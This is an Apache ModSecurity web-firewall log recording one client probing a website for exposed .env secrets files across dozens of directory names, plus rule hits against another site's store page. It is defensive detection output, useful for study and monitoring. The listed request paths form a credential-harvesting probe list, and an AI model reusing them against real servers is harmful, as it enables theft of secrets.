[Fri Jul 17 09:26:27.258734 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/elasticsearch/.env"] [unique_id "almn64-0g_VSPeIeFN3GCgAAAAs"]
[Fri Jul 17 09:26:27.259162 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/elasticsearch/.env"] [unique_id "almn64-0g_VSPeIeFN3GCgAAAAs"]
[Fri Jul 17 09:26:27.262832 2026] [security2:error] [pid 2036488:tid 2036488] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn67EKozcCJ-ReuK0IfQAAAAg"]
[Fri Jul 17 09:26:27.262940 2026] [security2:error] [pid 2036488:tid 2036488] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn67EKozcCJ-ReuK0IfQAAAAg"]
[Fri Jul 17 09:26:27.263631 2026] [security2:error] [pid 2036488:tid 2036488] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn67EKozcCJ-ReuK0IfQAAAAg"]
[Fri Jul 17 09:26:27.420670 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /rabbitmq/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/rabbitmq/.env"] [unique_id "almn65BVIrrUwtEhdafWjgAAAAU"]
[Fri Jul 17 09:26:27.420942 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/rabbitmq/.env"] [unique_id "almn65BVIrrUwtEhdafWjgAAAAU"]
[Fri Jul 17 09:26:27.421406 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/rabbitmq/.env"] [unique_id "almn65BVIrrUwtEhdafWjgAAAAU"]
[Fri Jul 17 09:26:27.499030 2026] [security2:error] [pid 2036488:tid 2036488] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn67EKozcCJ-ReuK0IfQAAAAg"]
[Fri Jul 17 09:26:27.576006 2026] [security2:error] [pid 2030804:tid 2030804] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /kafka/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/kafka/.env"] [unique_id "almn64e39YUk0SgV8AU_vwAAABE"]
[Fri Jul 17 09:26:27.576335 2026] [security2:error] [pid 2030804:tid 2030804] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/kafka/.env"] [unique_id "almn64e39YUk0SgV8AU_vwAAABE"]
[Fri Jul 17 09:26:27.576696 2026] [security2:error] [pid 2030804:tid 2030804] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/kafka/.env"] [unique_id "almn64e39YUk0SgV8AU_vwAAABE"]
[Fri Jul 17 09:26:27.757591 2026] [security2:error] [pid 2028246:tid 2028246] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /queue/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/queue/.env"] [unique_id "almn6zsMb3am0TgkjETgIwAAAAo"]
[Fri Jul 17 09:26:27.757870 2026] [security2:error] [pid 2028246:tid 2028246] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/queue/.env"] [unique_id "almn6zsMb3am0TgkjETgIwAAAAo"]
[Fri Jul 17 09:26:27.758244 2026] [security2:error] [pid 2028246:tid 2028246] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/queue/.env"] [unique_id "almn6zsMb3am0TgkjETgIwAAAAo"]
[Fri Jul 17 09:26:27.939684 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /worker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/worker/.env"] [unique_id "almn67EKozcCJ-ReuK0IfwAAAAg"]
[Fri Jul 17 09:26:27.939964 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/worker/.env"] [unique_id "almn67EKozcCJ-ReuK0IfwAAAAg"]
[Fri Jul 17 09:26:27.940324 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/worker/.env"] [unique_id "almn67EKozcCJ-ReuK0IfwAAAAg"]
[Fri Jul 17 09:26:28.135082 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /job/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/job/.env"] [unique_id "almn7I-0g_VSPeIeFN3GDQAAAAs"]
[Fri Jul 17 09:26:28.135390 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/job/.env"] [unique_id "almn7I-0g_VSPeIeFN3GDQAAAAs"]
[Fri Jul 17 09:26:28.135783 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/job/.env"] [unique_id "almn7I-0g_VSPeIeFN3GDQAAAAs"]
[Fri Jul 17 09:26:28.298464 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /test/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/test/.env"] [unique_id "almn7K14q1EBnanVMYGpoAAAAAk"]
[Fri Jul 17 09:26:28.298733 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/test/.env"] [unique_id "almn7K14q1EBnanVMYGpoAAAAAk"]
[Fri Jul 17 09:26:28.299082 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/test/.env"] [unique_id "almn7K14q1EBnanVMYGpoAAAAAk"]
[Fri Jul 17 09:26:28.473443 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /qa/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/qa/.env"] [unique_id "almn7I-0g_VSPeIeFN3GDgAAAAs"]
[Fri Jul 17 09:26:28.473724 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/qa/.env"] [unique_id "almn7I-0g_VSPeIeFN3GDgAAAAs"]
[Fri Jul 17 09:26:28.474250 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/qa/.env"] [unique_id "almn7I-0g_VSPeIeFN3GDgAAAAs"]
[Fri Jul 17 09:26:28.648685 2026] [security2:error] [pid 2028246:tid 2028246] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /preview/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/preview/.env"] [unique_id "almn7DsMb3am0TgkjETgJgAAAAo"]
[Fri Jul 17 09:26:28.648928 2026] [security2:error] [pid 2028246:tid 2028246] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/preview/.env"] [unique_id "almn7DsMb3am0TgkjETgJgAAAAo"]
[Fri Jul 17 09:26:28.649316 2026] [security2:error] [pid 2028246:tid 2028246] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/preview/.env"] [unique_id "almn7DsMb3am0TgkjETgJgAAAAo"]
[Fri Jul 17 09:26:28.809367 2026] [security2:error] [pid 2018757:tid 2018757] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn7EkXT4NBqALj2laCawAAABA"]
[Fri Jul 17 09:26:28.809477 2026] [security2:error] [pid 2018757:tid 2018757] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn7EkXT4NBqALj2laCawAAABA"]
[Fri Jul 17 09:26:28.810237 2026] [security2:error] [pid 2018757:tid 2018757] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn7EkXT4NBqALj2laCawAAABA"]
[Fri Jul 17 09:26:28.817389 2026] [security2:error] [pid 2028246:tid 2028246] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /beta/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/beta/.env"] [unique_id "almn7DsMb3am0TgkjETgJwAAAAo"]
[Fri Jul 17 09:26:28.817681 2026] [security2:error] [pid 2028246:tid 2028246] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/beta/.env"] [unique_id "almn7DsMb3am0TgkjETgJwAAAAo"]
[Fri Jul 17 09:26:28.818098 2026] [security2:error] [pid 2028246:tid 2028246] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/beta/.env"] [unique_id "almn7DsMb3am0TgkjETgJwAAAAo"]
[Fri Jul 17 09:26:28.988763 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /uat/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/uat/.env"] [unique_id "almn7JBVIrrUwtEhdafWkQAAAAU"]
[Fri Jul 17 09:26:28.989027 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/uat/.env"] [unique_id "almn7JBVIrrUwtEhdafWkQAAAAU"]
[Fri Jul 17 09:26:28.989476 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/uat/.env"] [unique_id "almn7JBVIrrUwtEhdafWkQAAAAU"]
[Fri Jul 17 09:26:29.148779 2026] [security2:error] [pid 2028246:tid 2028246] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /stage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/stage/.env"] [unique_id "almn7TsMb3am0TgkjETgKAAAAAo"]
